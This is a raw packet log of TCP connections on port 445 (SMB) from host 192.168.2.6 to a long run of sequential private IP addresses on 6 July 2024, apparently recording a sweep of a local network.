Jul 6, 2024 14:11:29.267680883 CEST	51189	445	192.168.2.6	192.168.0.90
Jul 6, 2024 14:11:29.269853115 CEST	445	51177	192.168.1.243	192.168.2.6
Jul 6, 2024 14:11:29.270260096 CEST	445	51177	192.168.1.243	192.168.2.6
Jul 6, 2024 14:11:29.272078991 CEST	445	51191	192.168.0.212	192.168.2.6
Jul 6, 2024 14:11:29.272798061 CEST	445	51189	192.168.0.90	192.168.2.6
Jul 6, 2024 14:11:29.273082972 CEST	51192	445	192.168.2.6	192.168.1.249
Jul 6, 2024 14:11:29.274466991 CEST	445	51189	192.168.0.90	192.168.2.6
Jul 6, 2024 14:11:29.278760910 CEST	51191	445	192.168.2.6	192.168.0.212
Jul 6, 2024 14:11:29.278760910 CEST	51194	445	192.168.2.6	192.168.0.213
Jul 6, 2024 14:11:29.288372040 CEST	51195	445	192.168.2.6	192.168.1.250
Jul 6, 2024 14:11:29.288372040 CEST	51196	445	192.168.2.6	192.168.0.91
Jul 6, 2024 14:11:29.288407087 CEST	51197	445	192.168.2.6	192.168.1.248
Jul 6, 2024 14:11:29.289526939 CEST	51199	445	192.168.2.6	192.168.0.214
Jul 6, 2024 14:11:29.292593956 CEST	445	51192	192.168.1.249	192.168.2.6
Jul 6, 2024 14:11:29.292658091 CEST	445	51194	192.168.0.213	192.168.2.6
Jul 6, 2024 14:11:29.292670012 CEST	51192	445	192.168.2.6	192.168.1.249
Jul 6, 2024 14:11:29.292697906 CEST	51194	445	192.168.2.6	192.168.0.213
Jul 6, 2024 14:11:29.292731047 CEST	51192	445	192.168.2.6	192.168.1.249
Jul 6, 2024 14:11:29.292788982 CEST	51194	445	192.168.2.6	192.168.0.213
Jul 6, 2024 14:11:29.294589996 CEST	445	51195	192.168.1.250	192.168.2.6
Jul 6, 2024 14:11:29.294600010 CEST	445	51197	192.168.1.248	192.168.2.6
Jul 6, 2024 14:11:29.294609070 CEST	445	51196	192.168.0.91	192.168.2.6
Jul 6, 2024 14:11:29.295967102 CEST	445	51199	192.168.0.214	192.168.2.6
Jul 6, 2024 14:11:29.296776056 CEST	51195	445	192.168.2.6	192.168.1.250
Jul 6, 2024 14:11:29.296776056 CEST	51196	445	192.168.2.6	192.168.0.91
Jul 6, 2024 14:11:29.296776056 CEST	51195	445	192.168.2.6	192.168.1.250
Jul 6, 2024 14:11:29.296776056 CEST	51196	445	192.168.2.6	192.168.0.91
Jul 6, 2024 14:11:29.297497034 CEST	51199	445	192.168.2.6	192.168.0.214
Jul 6, 2024 14:11:29.300638914 CEST	445	51192	192.168.1.249	192.168.2.6
Jul 6, 2024 14:11:29.301362991 CEST	51197	445	192.168.2.6	192.168.1.248
Jul 6, 2024 14:11:29.301362991 CEST	51197	445	192.168.2.6	192.168.1.248
Jul 6, 2024 14:11:29.302900076 CEST	445	51192	192.168.1.249	192.168.2.6
Jul 6, 2024 14:11:29.303234100 CEST	445	51195	192.168.1.250	192.168.2.6
Jul 6, 2024 14:11:29.303241968 CEST	445	51196	192.168.0.91	192.168.2.6
Jul 6, 2024 14:11:29.303401947 CEST	445	51194	192.168.0.213	192.168.2.6
Jul 6, 2024 14:11:29.303410053 CEST	445	51194	192.168.0.213	192.168.2.6
Jul 6, 2024 14:11:29.305929899 CEST	445	51195	192.168.1.250	192.168.2.6
Jul 6, 2024 14:11:29.305990934 CEST	445	51196	192.168.0.91	192.168.2.6
Jul 6, 2024 14:11:29.306761980 CEST	51201	445	192.168.2.6	192.168.0.215
Jul 6, 2024 14:11:29.306812048 CEST	445	51199	192.168.0.214	192.168.2.6
Jul 6, 2024 14:11:29.306829929 CEST	445	51197	192.168.1.248	192.168.2.6
Jul 6, 2024 14:11:29.306838036 CEST	445	51197	192.168.1.248	192.168.2.6
Jul 6, 2024 14:11:29.308470011 CEST	51194	445	192.168.2.6	192.168.0.213
Jul 6, 2024 14:11:29.308470011 CEST	51199	445	192.168.2.6	192.168.0.214
Jul 6, 2024 14:11:29.308470011 CEST	51199	445	192.168.2.6	192.168.0.214
Jul 6, 2024 14:11:29.313833952 CEST	445	51199	192.168.0.214	192.168.2.6
Jul 6, 2024 14:11:29.316267014 CEST	51197	445	192.168.2.6	192.168.1.248
Jul 6, 2024 14:11:29.319103003 CEST	445	51201	192.168.0.215	192.168.2.6
Jul 6, 2024 14:11:29.320528984 CEST	51203	445	192.168.2.6	192.168.1.251
Jul 6, 2024 14:11:29.322640896 CEST	51201	445	192.168.2.6	192.168.0.215
Jul 6, 2024 14:11:29.322640896 CEST	51201	445	192.168.2.6	192.168.0.215
Jul 6, 2024 14:11:29.322640896 CEST	51204	445	192.168.2.6	192.168.0.93
Jul 6, 2024 14:11:29.324220896 CEST	445	51197	192.168.1.248	192.168.2.6
Jul 6, 2024 14:11:29.325613976 CEST	445	51203	192.168.1.251	192.168.2.6
Jul 6, 2024 14:11:29.325674057 CEST	51203	445	192.168.2.6	192.168.1.251
Jul 6, 2024 14:11:29.325740099 CEST	51203	445	192.168.2.6	192.168.1.251
Jul 6, 2024 14:11:29.328531981 CEST	445	51204	192.168.0.93	192.168.2.6
Jul 6, 2024 14:11:29.328711987 CEST	51204	445	192.168.2.6	192.168.0.93
Jul 6, 2024 14:11:29.328711987 CEST	51204	445	192.168.2.6	192.168.0.93
Jul 6, 2024 14:11:29.328995943 CEST	445	51201	192.168.0.215	192.168.2.6
Jul 6, 2024 14:11:29.329864979 CEST	51202	445	192.168.2.6	192.168.0.92
Jul 6, 2024 14:11:29.330686092 CEST	51201	445	192.168.2.6	192.168.0.215
Jul 6, 2024 14:11:29.330779076 CEST	445	51203	192.168.1.251	192.168.2.6
Jul 6, 2024 14:11:29.331418037 CEST	445	51203	192.168.1.251	192.168.2.6
Jul 6, 2024 14:11:29.336275101 CEST	445	51204	192.168.0.93	192.168.2.6
Jul 6, 2024 14:11:29.336283922 CEST	445	51204	192.168.0.93	192.168.2.6
Jul 6, 2024 14:11:29.337829113 CEST	445	51202	192.168.0.92	192.168.2.6
Jul 6, 2024 14:11:29.339104891 CEST	51202	445	192.168.2.6	192.168.0.92
Jul 6, 2024 14:11:29.339104891 CEST	51202	445	192.168.2.6	192.168.0.92
Jul 6, 2024 14:11:29.343305111 CEST	51206	445	192.168.2.6	192.168.0.216
Jul 6, 2024 14:11:29.351670027 CEST	51210	445	192.168.2.6	192.168.0.218
Jul 6, 2024 14:11:29.354830980 CEST	51208	445	192.168.2.6	192.168.0.217
Jul 6, 2024 14:11:29.357616901 CEST	445	51202	192.168.0.92	192.168.2.6
Jul 6, 2024 14:11:29.357724905 CEST	445	51206	192.168.0.216	192.168.2.6
Jul 6, 2024 14:11:29.357742071 CEST	445	51210	192.168.0.218	192.168.2.6
Jul 6, 2024 14:11:29.358735085 CEST	51206	445	192.168.2.6	192.168.0.216
Jul 6, 2024 14:11:29.358735085 CEST	51206	445	192.168.2.6	192.168.0.216
Jul 6, 2024 14:11:29.359379053 CEST	445	51202	192.168.0.92	192.168.2.6
Jul 6, 2024 14:11:29.362070084 CEST	51210	445	192.168.2.6	192.168.0.218
Jul 6, 2024 14:11:29.362070084 CEST	51210	445	192.168.2.6	192.168.0.218
Jul 6, 2024 14:11:29.362319946 CEST	445	51208	192.168.0.217	192.168.2.6
Jul 6, 2024 14:11:29.369213104 CEST	51208	445	192.168.2.6	192.168.0.217
Jul 6, 2024 14:11:29.369213104 CEST	51208	445	192.168.2.6	192.168.0.217
Jul 6, 2024 14:11:29.370007038 CEST	51211	445	192.168.2.6	192.168.0.219
Jul 6, 2024 14:11:29.382361889 CEST	445	51210	192.168.0.218	192.168.2.6
Jul 6, 2024 14:11:29.382457972 CEST	51210	445	192.168.2.6	192.168.0.218
Jul 6, 2024 14:11:29.383548021 CEST	445	51206	192.168.0.216	192.168.2.6
Jul 6, 2024 14:11:29.383583069 CEST	445	51211	192.168.0.219	192.168.2.6
Jul 6, 2024 14:11:29.383627892 CEST	51211	445	192.168.2.6	192.168.0.219
Jul 6, 2024 14:11:29.383702040 CEST	51211	445	192.168.2.6	192.168.0.219
Jul 6, 2024 14:11:29.384833097 CEST	445	51206	192.168.0.216	192.168.2.6
Jul 6, 2024 14:11:29.384995937 CEST	445	51208	192.168.0.217	192.168.2.6
Jul 6, 2024 14:11:29.385715008 CEST	51206	445	192.168.2.6	192.168.0.216
Jul 6, 2024 14:11:29.385715008 CEST	51208	445	192.168.2.6	192.168.0.217
Jul 6, 2024 14:11:29.389817953 CEST	445	51211	192.168.0.219	192.168.2.6
Jul 6, 2024 14:11:29.391277075 CEST	51211	445	192.168.2.6	192.168.0.219
Jul 6, 2024 14:11:29.395370960 CEST	51213	445	192.168.2.6	192.168.0.220
Jul 6, 2024 14:11:29.398376942 CEST	51215	445	192.168.2.6	192.168.1.252
Jul 6, 2024 14:11:29.398924112 CEST	51218	445	192.168.2.6	192.168.0.221
Jul 6, 2024 14:11:29.399360895 CEST	51217	445	192.168.2.6	192.168.1.253
Jul 6, 2024 14:11:29.402180910 CEST	51216	445	192.168.2.6	192.168.0.94
Jul 6, 2024 14:11:29.403261900 CEST	445	51215	192.168.1.252	192.168.2.6
Jul 6, 2024 14:11:29.404247046 CEST	445	51218	192.168.0.221	192.168.2.6
Jul 6, 2024 14:11:29.405158997 CEST	51218	445	192.168.2.6	192.168.0.221
Jul 6, 2024 14:11:29.405158997 CEST	51218	445	192.168.2.6	192.168.0.221
Jul 6, 2024 14:11:29.405483961 CEST	445	51217	192.168.1.253	192.168.2.6
Jul 6, 2024 14:11:29.405646086 CEST	51217	445	192.168.2.6	192.168.1.253
Jul 6, 2024 14:11:29.405646086 CEST	51217	445	192.168.2.6	192.168.1.253
Jul 6, 2024 14:11:29.407350063 CEST	445	51216	192.168.0.94	192.168.2.6
Jul 6, 2024 14:11:29.410104990 CEST	445	51213	192.168.0.220	192.168.2.6
Jul 6, 2024 14:11:29.410418034 CEST	445	51218	192.168.0.221	192.168.2.6
Jul 6, 2024 14:11:29.410820961 CEST	51215	445	192.168.2.6	192.168.1.252
Jul 6, 2024 14:11:29.410820961 CEST	51215	445	192.168.2.6	192.168.1.252
Jul 6, 2024 14:11:29.411042929 CEST	445	51217	192.168.1.253	192.168.2.6
Jul 6, 2024 14:11:29.411401033 CEST	445	51217	192.168.1.253	192.168.2.6
Jul 6, 2024 14:11:29.412074089 CEST	51216	445	192.168.2.6	192.168.0.94
Jul 6, 2024 14:11:29.412074089 CEST	51216	445	192.168.2.6	192.168.0.94
Jul 6, 2024 14:11:29.412522078 CEST	51218	445	192.168.2.6	192.168.0.221
Jul 6, 2024 14:11:29.417995930 CEST	51220	445	192.168.2.6	192.168.0.95
Jul 6, 2024 14:11:29.417995930 CEST	51222	445	192.168.2.6	192.168.1.254
Jul 6, 2024 14:11:29.419028044 CEST	445	51216	192.168.0.94	192.168.2.6
Jul 6, 2024 14:11:29.419960022 CEST	445	51216	192.168.0.94	192.168.2.6
Jul 6, 2024 14:11:29.420720100 CEST	445	51215	192.168.1.252	192.168.2.6
Jul 6, 2024 14:11:29.421791077 CEST	445	51215	192.168.1.252	192.168.2.6
Jul 6, 2024 14:11:29.421911955 CEST	51213	445	192.168.2.6	192.168.0.220
Jul 6, 2024 14:11:29.421912909 CEST	51213	445	192.168.2.6	192.168.0.220
Jul 6, 2024 14:11:29.422889948 CEST	445	51220	192.168.0.95	192.168.2.6
Jul 6, 2024 14:11:29.422899961 CEST	445	51222	192.168.1.254	192.168.2.6
Jul 6, 2024 14:11:29.424746037 CEST	51221	445	192.168.2.6	192.168.0.96
Jul 6, 2024 14:11:29.424746037 CEST	51223	445	192.168.2.6	192.168.0.97
Jul 6, 2024 14:11:29.429759979 CEST	445	51221	192.168.0.96	192.168.2.6
Jul 6, 2024 14:11:29.429796934 CEST	51220	445	192.168.2.6	192.168.0.95
Jul 6, 2024 14:11:29.429796934 CEST	51222	445	192.168.2.6	192.168.1.254
Jul 6, 2024 14:11:29.429796934 CEST	51220	445	192.168.2.6	192.168.0.95
Jul 6, 2024 14:11:29.429796934 CEST	51222	445	192.168.2.6	192.168.1.254
Jul 6, 2024 14:11:29.430670977 CEST	51221	445	192.168.2.6	192.168.0.96
Jul 6, 2024 14:11:29.430670977 CEST	51221	445	192.168.2.6	192.168.0.96
Jul 6, 2024 14:11:29.430854082 CEST	445	51213	192.168.0.220	192.168.2.6
Jul 6, 2024 14:11:29.432080030 CEST	445	51213	192.168.0.220	192.168.2.6
Jul 6, 2024 14:11:29.432986021 CEST	445	51223	192.168.0.97	192.168.2.6
Jul 6, 2024 14:11:29.433208942 CEST	51223	445	192.168.2.6	192.168.0.97
Jul 6, 2024 14:11:29.433208942 CEST	51223	445	192.168.2.6	192.168.0.97
Jul 6, 2024 14:11:29.435450077 CEST	445	51220	192.168.0.95	192.168.2.6
Jul 6, 2024 14:11:29.435460091 CEST	445	51220	192.168.0.95	192.168.2.6
Jul 6, 2024 14:11:29.435549974 CEST	445	51222	192.168.1.254	192.168.2.6
Jul 6, 2024 14:11:29.436140060 CEST	445	51222	192.168.1.254	192.168.2.6
Jul 6, 2024 14:11:29.438684940 CEST	51213	445	192.168.2.6	192.168.0.220
Jul 6, 2024 14:11:29.439331055 CEST	445	51221	192.168.0.96	192.168.2.6
Jul 6, 2024 14:11:29.439342022 CEST	445	51223	192.168.0.97	192.168.2.6
Jul 6, 2024 14:11:29.440882921 CEST	51225	445	192.168.2.6	192.168.0.222
Jul 6, 2024 14:11:29.441162109 CEST	445	51221	192.168.0.96	192.168.2.6
Jul 6, 2024 14:11:29.442044020 CEST	51226	445	192.168.2.6	192.168.0.223
Jul 6, 2024 14:11:29.450711012 CEST	445	51225	192.168.0.222	192.168.2.6
Jul 6, 2024 14:11:29.452832937 CEST	445	51226	192.168.0.223	192.168.2.6
Jul 6, 2024 14:11:29.455197096 CEST	51225	445	192.168.2.6	192.168.0.222
Jul 6, 2024 14:11:29.455197096 CEST	51225	445	192.168.2.6	192.168.0.222
Jul 6, 2024 14:11:29.455471039 CEST	51228	445	192.168.2.6	192.168.1.255
Jul 6, 2024 14:11:29.456460953 CEST	51229	445	192.168.2.6	192.168.0.224
Jul 6, 2024 14:11:29.462066889 CEST	51226	445	192.168.2.6	192.168.0.223
Jul 6, 2024 14:11:29.462066889 CEST	51226	445	192.168.2.6	192.168.0.223
Jul 6, 2024 14:11:29.463031054 CEST	445	51225	192.168.0.222	192.168.2.6
Jul 6, 2024 14:11:29.463705063 CEST	51225	445	192.168.2.6	192.168.0.222
Jul 6, 2024 14:11:29.464242935 CEST	51232	445	192.168.2.6	192.168.0.225
Jul 6, 2024 14:11:29.465465069 CEST	445	51228	192.168.1.255	192.168.2.6
Jul 6, 2024 14:11:29.466198921 CEST	445	51229	192.168.0.224	192.168.2.6
Jul 6, 2024 14:11:29.469772100 CEST	445	51232	192.168.0.225	192.168.2.6
Jul 6, 2024 14:11:29.469834089 CEST	51232	445	192.168.2.6	192.168.0.225
Jul 6, 2024 14:11:29.469898939 CEST	51232	445	192.168.2.6	192.168.0.225
Jul 6, 2024 14:11:29.470063925 CEST	445	51226	192.168.0.223	192.168.2.6
Jul 6, 2024 14:11:29.471772909 CEST	51229	445	192.168.2.6	192.168.0.224
Jul 6, 2024 14:11:29.472028971 CEST	51226	445	192.168.2.6	192.168.0.223
Jul 6, 2024 14:11:29.476150990 CEST	51229	445	192.168.2.6	192.168.0.224
Jul 6, 2024 14:11:29.476377010 CEST	51228	445	192.168.2.6	192.168.1.255
Jul 6, 2024 14:11:29.476377010 CEST	51228	445	192.168.2.6	192.168.1.255
Jul 6, 2024 14:11:29.478096962 CEST	51235	445	192.168.2.6	192.168.0.226
Jul 6, 2024 14:11:29.493364096 CEST	445	51232	192.168.0.225	192.168.2.6
Jul 6, 2024 14:11:29.493395090 CEST	445	51232	192.168.0.225	192.168.2.6
Jul 6, 2024 14:11:29.493443012 CEST	51232	445	192.168.2.6	192.168.0.225
Jul 6, 2024 14:11:29.493874073 CEST	445	51235	192.168.0.226	192.168.2.6
Jul 6, 2024 14:11:29.493896008 CEST	445	51229	192.168.0.224	192.168.2.6
Jul 6, 2024 14:11:29.493907928 CEST	445	51228	192.168.1.255	192.168.2.6
Jul 6, 2024 14:11:29.493944883 CEST	51235	445	192.168.2.6	192.168.0.226
Jul 6, 2024 14:11:29.494057894 CEST	51235	445	192.168.2.6	192.168.0.226
Jul 6, 2024 14:11:29.494371891 CEST	51229	445	192.168.2.6	192.168.0.224
Jul 6, 2024 14:11:29.494869947 CEST	445	51228	192.168.1.255	192.168.2.6
Jul 6, 2024 14:11:29.497860909 CEST	51236	445	192.168.2.6	192.168.0.227
Jul 6, 2024 14:11:29.508057117 CEST	445	51235	192.168.0.226	192.168.2.6
Jul 6, 2024 14:11:29.508110046 CEST	51235	445	192.168.2.6	192.168.0.226
Jul 6, 2024 14:11:29.508296013 CEST	445	51236	192.168.0.227	192.168.2.6
Jul 6, 2024 14:11:29.508357048 CEST	51236	445	192.168.2.6	192.168.0.227
Jul 6, 2024 14:11:29.508428097 CEST	51236	445	192.168.2.6	192.168.0.227
Jul 6, 2024 14:11:29.510576010 CEST	51239	445	192.168.2.6	192.168.0.228
Jul 6, 2024 14:11:29.515983105 CEST	445	51236	192.168.0.227	192.168.2.6
Jul 6, 2024 14:11:29.516329050 CEST	445	51239	192.168.0.228	192.168.2.6
Jul 6, 2024 14:11:29.516880035 CEST	51236	445	192.168.2.6	192.168.0.227
Jul 6, 2024 14:11:29.518373966 CEST	51239	445	192.168.2.6	192.168.0.228
Jul 6, 2024 14:11:29.522727966 CEST	51240	445	192.168.2.6	192.168.0.98
Jul 6, 2024 14:11:29.522777081 CEST	51241	445	192.168.2.6	192.168.0.99
Jul 6, 2024 14:11:29.524126053 CEST	51243	445	192.168.2.6	192.168.0.229
Jul 6, 2024 14:11:29.524334908 CEST	445	51239	192.168.0.228	192.168.2.6
Jul 6, 2024 14:11:29.526050091 CEST	51239	445	192.168.2.6	192.168.0.228
Jul 6, 2024 14:11:29.527442932 CEST	51239	445	192.168.2.6	192.168.0.228
Jul 6, 2024 14:11:29.528276920 CEST	445	51240	192.168.0.98	192.168.2.6
Jul 6, 2024 14:11:29.528358936 CEST	51240	445	192.168.2.6	192.168.0.98
Jul 6, 2024 14:11:29.528395891 CEST	51240	445	192.168.2.6	192.168.0.98
Jul 6, 2024 14:11:29.528608084 CEST	445	51241	192.168.0.99	192.168.2.6
Jul 6, 2024 14:11:29.528661966 CEST	51241	445	192.168.2.6	192.168.0.99
Jul 6, 2024 14:11:29.528712034 CEST	51241	445	192.168.2.6	192.168.0.99
Jul 6, 2024 14:11:29.529124975 CEST	445	51243	192.168.0.229	192.168.2.6
Jul 6, 2024 14:11:29.530946016 CEST	51243	445	192.168.2.6	192.168.0.229
Jul 6, 2024 14:11:29.530946016 CEST	51243	445	192.168.2.6	192.168.0.229
Jul 6, 2024 14:11:29.530997992 CEST	445	51239	192.168.0.228	192.168.2.6
Jul 6, 2024 14:11:29.536540031 CEST	445	51240	192.168.0.98	192.168.2.6
Jul 6, 2024 14:11:29.536657095 CEST	445	51241	192.168.0.99	192.168.2.6
Jul 6, 2024 14:11:29.540165901 CEST	51244	445	192.168.2.6	192.168.0.100
Jul 6, 2024 14:11:29.540165901 CEST	51245	445	192.168.2.6	192.168.0.102
Jul 6, 2024 14:11:29.540165901 CEST	51246	445	192.168.2.6	192.168.0.101
Jul 6, 2024 14:11:29.540215969 CEST	445	51241	192.168.0.99	192.168.2.6
Jul 6, 2024 14:11:29.542453051 CEST	51247	445	192.168.2.6	192.168.0.230
Jul 6, 2024 14:11:29.542459011 CEST	445	51243	192.168.0.229	192.168.2.6
Jul 6, 2024 14:11:29.545012951 CEST	445	51244	192.168.0.100	192.168.2.6
Jul 6, 2024 14:11:29.545061111 CEST	51244	445	192.168.2.6	192.168.0.100
Jul 6, 2024 14:11:29.545080900 CEST	445	51245	192.168.0.102	192.168.2.6
Jul 6, 2024 14:11:29.545090914 CEST	445	51246	192.168.0.101	192.168.2.6
Jul 6, 2024 14:11:29.545124054 CEST	51245	445	192.168.2.6	192.168.0.102
Jul 6, 2024 14:11:29.545150042 CEST	51246	445	192.168.2.6	192.168.0.101
Jul 6, 2024 14:11:29.545193911 CEST	51244	445	192.168.2.6	192.168.0.100
Jul 6, 2024 14:11:29.545255899 CEST	51245	445	192.168.2.6	192.168.0.102
Jul 6, 2024 14:11:29.545329094 CEST	51246	445	192.168.2.6	192.168.0.101
Jul 6, 2024 14:11:29.550324917 CEST	445	51244	192.168.0.100	192.168.2.6
Jul 6, 2024 14:11:29.550334930 CEST	445	51245	192.168.0.102	192.168.2.6
Jul 6, 2024 14:11:29.550343990 CEST	445	51246	192.168.0.101	192.168.2.6
Jul 6, 2024 14:11:29.550491095 CEST	445	51244	192.168.0.100	192.168.2.6
Jul 6, 2024 14:11:29.551354885 CEST	445	51245	192.168.0.102	192.168.2.6
Jul 6, 2024 14:11:29.551616907 CEST	445	51246	192.168.0.101	192.168.2.6
Jul 6, 2024 14:11:29.552151918 CEST	51243	445	192.168.2.6	192.168.0.229
Jul 6, 2024 14:11:29.553574085 CEST	445	51247	192.168.0.230	192.168.2.6
Jul 6, 2024 14:11:29.558171988 CEST	51249	445	192.168.2.6	192.168.0.103
Jul 6, 2024 14:11:29.563220024 CEST	51247	445	192.168.2.6	192.168.0.230
Jul 6, 2024 14:11:29.565506935 CEST	51252	445	192.168.2.6	192.168.0.231
Jul 6, 2024 14:11:29.566710949 CEST	445	51249	192.168.0.103	192.168.2.6
Jul 6, 2024 14:11:29.567106009 CEST	51247	445	192.168.2.6	192.168.0.230
Jul 6, 2024 14:11:29.568178892 CEST	51249	445	192.168.2.6	192.168.0.103
Jul 6, 2024 14:11:29.568178892 CEST	51249	445	192.168.2.6	192.168.0.103
Jul 6, 2024 14:11:29.570867062 CEST	51253	445	192.168.2.6	192.168.0.104
Jul 6, 2024 14:11:29.572212934 CEST	445	51247	192.168.0.230	192.168.2.6
Jul 6, 2024 14:11:29.572431087 CEST	51254	445	192.168.2.6	192.168.0.232
Jul 6, 2024 14:11:29.573199987 CEST	445	51249	192.168.0.103	192.168.2.6
Jul 6, 2024 14:11:29.573273897 CEST	445	51249	192.168.0.103	192.168.2.6
Jul 6, 2024 14:11:29.575140953 CEST	51247	445	192.168.2.6	192.168.0.230
Jul 6, 2024 14:11:29.576351881 CEST	445	51253	192.168.0.104	192.168.2.6
Jul 6, 2024 14:11:29.576421976 CEST	51253	445	192.168.2.6	192.168.0.104
Jul 6, 2024 14:11:29.577877998 CEST	445	51254	192.168.0.232	192.168.2.6
Jul 6, 2024 14:11:29.578038931 CEST	51254	445	192.168.2.6	192.168.0.232
Jul 6, 2024 14:11:29.579241037 CEST	51253	445	192.168.2.6	192.168.0.104
Jul 6, 2024 14:11:29.580604076 CEST	51254	445	192.168.2.6	192.168.0.232
Jul 6, 2024 14:11:29.580883980 CEST	445	51252	192.168.0.231	192.168.2.6
Jul 6, 2024 14:11:29.581202984 CEST	51252	445	192.168.2.6	192.168.0.231
Jul 6, 2024 14:11:29.581444979 CEST	51252	445	192.168.2.6	192.168.0.231
Jul 6, 2024 14:11:29.581461906 CEST	445	51253	192.168.0.104	192.168.2.6
Jul 6, 2024 14:11:29.581520081 CEST	51253	445	192.168.2.6	192.168.0.104
Jul 6, 2024 14:11:29.583734035 CEST	445	51254	192.168.0.232	192.168.2.6
Jul 6, 2024 14:11:29.583780050 CEST	51254	445	192.168.2.6	192.168.0.232
Jul 6, 2024 14:11:29.584125996 CEST	445	51253	192.168.0.104	192.168.2.6
Jul 6, 2024 14:11:29.585494041 CEST	445	51254	192.168.0.232	192.168.2.6
Jul 6, 2024 14:11:29.586383104 CEST	445	51252	192.168.0.231	192.168.2.6
Jul 6, 2024 14:11:29.587681055 CEST	51252	445	192.168.2.6	192.168.0.231
Jul 6, 2024 14:11:29.587809086 CEST	445	51253	192.168.0.104	192.168.2.6
Jul 6, 2024 14:11:29.604088068 CEST	51258	445	192.168.2.6	192.168.0.233
Jul 6, 2024 14:11:29.605721951 CEST	51260	445	192.168.2.6	192.168.0.234
Jul 6, 2024 14:11:29.609649897 CEST	445	51258	192.168.0.233	192.168.2.6
Jul 6, 2024 14:11:29.609983921 CEST	51258	445	192.168.2.6	192.168.0.233
Jul 6, 2024 14:11:29.610285044 CEST	51257	445	192.168.2.6	192.168.0.105
Jul 6, 2024 14:11:29.610574007 CEST	51258	445	192.168.2.6	192.168.0.233
Jul 6, 2024 14:11:29.610635042 CEST	445	51260	192.168.0.234	192.168.2.6
Jul 6, 2024 14:11:29.610683918 CEST	51260	445	192.168.2.6	192.168.0.234
Jul 6, 2024 14:11:29.610742092 CEST	51260	445	192.168.2.6	192.168.0.234
Jul 6, 2024 14:11:29.615313053 CEST	445	51257	192.168.0.105	192.168.2.6
Jul 6, 2024 14:11:29.615480900 CEST	445	51258	192.168.0.233	192.168.2.6
Jul 6, 2024 14:11:29.615782022 CEST	445	51258	192.168.0.233	192.168.2.6
Jul 6, 2024 14:11:29.616492033 CEST	445	51260	192.168.0.234	192.168.2.6
Jul 6, 2024 14:11:29.618376017 CEST	51257	445	192.168.2.6	192.168.0.105
Jul 6, 2024 14:11:29.618376017 CEST	51257	445	192.168.2.6	192.168.0.105
Jul 6, 2024 14:11:29.618376017 CEST	51262	445	192.168.2.6	192.168.0.107
Jul 6, 2024 14:11:29.619359016 CEST	51261	445	192.168.2.6	192.168.0.106
Jul 6, 2024 14:11:29.619782925 CEST	51258	445	192.168.2.6	192.168.0.233
Jul 6, 2024 14:11:29.619782925 CEST	51260	445	192.168.2.6	192.168.0.234
Jul 6, 2024 14:11:29.623189926 CEST	51263	445	192.168.2.6	192.168.0.235
Jul 6, 2024 14:11:29.624351025 CEST	445	51261	192.168.0.106	192.168.2.6
Jul 6, 2024 14:11:29.624424934 CEST	51261	445	192.168.2.6	192.168.0.106
Jul 6, 2024 14:11:29.627127886 CEST	51261	445	192.168.2.6	192.168.0.106
Jul 6, 2024 14:11:29.628417015 CEST	445	51263	192.168.0.235	192.168.2.6
Jul 6, 2024 14:11:29.628525019 CEST	445	51257	192.168.0.105	192.168.2.6
Jul 6, 2024 14:11:29.628535032 CEST	445	51262	192.168.0.107	192.168.2.6
Jul 6, 2024 14:11:29.628575087 CEST	51262	445	192.168.2.6	192.168.0.107
Jul 6, 2024 14:11:29.629226923 CEST	445	51257	192.168.0.105	192.168.2.6
Jul 6, 2024 14:11:29.630182981 CEST	445	51261	192.168.0.106	192.168.2.6
Jul 6, 2024 14:11:29.630240917 CEST	51261	445	192.168.2.6	192.168.0.106
Jul 6, 2024 14:11:29.630495071 CEST	51263	445	192.168.2.6	192.168.0.235
Jul 6, 2024 14:11:29.631958008 CEST	445	51261	192.168.0.106	192.168.2.6
Jul 6, 2024 14:11:29.633338928 CEST	51262	445	192.168.2.6	192.168.0.107
Jul 6, 2024 14:11:29.633755922 CEST	445	51262	192.168.0.107	192.168.2.6
Jul 6, 2024 14:11:29.633797884 CEST	51262	445	192.168.2.6	192.168.0.107
Jul 6, 2024 14:11:29.633858919 CEST	51263	445	192.168.2.6	192.168.0.235
Jul 6, 2024 14:11:29.635559082 CEST	445	51261	192.168.0.106	192.168.2.6
Jul 6, 2024 14:11:29.635804892 CEST	445	51263	192.168.0.235	192.168.2.6
Jul 6, 2024 14:11:29.638365030 CEST	445	51262	192.168.0.107	192.168.2.6
Jul 6, 2024 14:11:29.638851881 CEST	445	51262	192.168.0.107	192.168.2.6
Jul 6, 2024 14:11:29.638961077 CEST	445	51263	192.168.0.235	192.168.2.6
Jul 6, 2024 14:11:29.639131069 CEST	51263	445	192.168.2.6	192.168.0.235
Jul 6, 2024 14:11:29.649005890 CEST	51265	445	192.168.2.6	192.168.0.108
Jul 6, 2024 14:11:29.654316902 CEST	445	51265	192.168.0.108	192.168.2.6
Jul 6, 2024 14:11:29.654385090 CEST	51265	445	192.168.2.6	192.168.0.108
Jul 6, 2024 14:11:29.654510021 CEST	51265	445	192.168.2.6	192.168.0.108
Jul 6, 2024 14:11:29.658857107 CEST	51267	445	192.168.2.6	192.168.0.236
Jul 6, 2024 14:11:29.658857107 CEST	51268	445	192.168.2.6	192.168.0.237
Jul 6, 2024 14:11:29.659563065 CEST	445	51265	192.168.0.108	192.168.2.6
Jul 6, 2024 14:11:29.659627914 CEST	51265	445	192.168.2.6	192.168.0.108
Jul 6, 2024 14:11:29.659874916 CEST	445	51265	192.168.0.108	192.168.2.6
Jul 6, 2024 14:11:29.663206100 CEST	51270	445	192.168.2.6	192.168.0.109
Jul 6, 2024 14:11:29.663759947 CEST	445	51267	192.168.0.236	192.168.2.6
Jul 6, 2024 14:11:29.663805008 CEST	445	51268	192.168.0.237	192.168.2.6
Jul 6, 2024 14:11:29.664434910 CEST	51267	445	192.168.2.6	192.168.0.236
Jul 6, 2024 14:11:29.664434910 CEST	51268	445	192.168.2.6	192.168.0.237
Jul 6, 2024 14:11:29.664434910 CEST	51267	445	192.168.2.6	192.168.0.236
Jul 6, 2024 14:11:29.664434910 CEST	51268	445	192.168.2.6	192.168.0.237
Jul 6, 2024 14:11:29.664808989 CEST	445	51265	192.168.0.108	192.168.2.6
Jul 6, 2024 14:11:29.668400049 CEST	445	51270	192.168.0.109	192.168.2.6
Jul 6, 2024 14:11:29.668472052 CEST	51270	445	192.168.2.6	192.168.0.109
Jul 6, 2024 14:11:29.668543100 CEST	51270	445	192.168.2.6	192.168.0.109
Jul 6, 2024 14:11:29.669346094 CEST	445	51267	192.168.0.236	192.168.2.6
Jul 6, 2024 14:11:29.669570923 CEST	445	51267	192.168.0.236	192.168.2.6
Jul 6, 2024 14:11:29.669579983 CEST	445	51268	192.168.0.237	192.168.2.6
